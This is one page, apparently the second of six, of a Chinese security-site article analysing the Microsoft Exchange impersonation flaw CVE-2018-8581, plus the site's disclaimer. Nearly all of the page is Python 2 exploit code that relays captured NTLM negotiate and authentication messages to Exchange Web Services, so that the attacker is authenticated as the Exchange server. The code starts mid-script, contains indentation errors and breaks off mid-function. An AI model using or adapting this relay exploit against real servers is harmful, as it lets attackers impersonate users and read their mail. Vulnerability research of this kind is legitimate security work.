欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Microsoft Exchange任意用户伪造漏洞分析(CVE-2018-8581)

来源:本站整理 作者:佚名 时间:2018-12-25 TAG: 我要投稿
           
         
       
     
 
'''
 
#This function takes NTLMSSP_NEGOTIATE and sends value to EWS
#When EWS responds with NTLMSSP_CHALLENGE it will be returned as result of this function
def get_ntlm_challenge(ntlm_negotiate):
 
       headers = { "Authorization": ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
       conn.request("POST", URL, body, headers)
       response = conn.getresponse()
       resp_data = response.read()
       if print_debug_info:
                     print "[DEBUG]: Received EWS response(get_ntlm_challenge):"
                     print response.status, response.reason, '\n',response.msg, '\n', resp_data
 
       if response.status == 401:
                     Nonce = response.getheader("WWW-Authenticate")
 
return Nonce
 
#This function takes NTLMSSP_AUTH and sends it to EWS
#As a result we will be authenticated by EWS as "Exchenge server"
def use_ntlm_auth(ntlm_auth):
 
       headers = {"Authorization": ntlm_auth, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
       conn.request("POST", URL, body, headers)
       response = conn.getresponse()
       resp_data = response.read()
       if print_debug_info:
                     print "[DEBUG]: Received EWS response(use_ntlm_auth):"
                     print response.status, response.reason, '\n',response.msg, '\n', resp_data
 
#Connection to EWS
if PROTO=='https':
       conn = httplib.HTTPSConnection(target_ip,target_port)
else:
       conn = httplib.HTTPConnection(target_ip,target_port)
 
#we will use this  to stop our HTTP server after the attack
step=1
 
class postHandler(BaseHTTPRequestHandler):
       #Handler for the POST requests
       def do_POST(self):
              global step
              headers = self.headers
              print headers
              authHeader = headers.getheader('Authorization')
              if not authHeader:
                 self.send_response(401)
                 self.send_header('WWW-Authenticate:','NTLM')
                 self.end_headers()
                 step=1
              else:
                     if step==1:
                            ntlm_negotiate = authHeader
                            step=2;

上一页  [1] [2] [3] [4] [5] [6]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载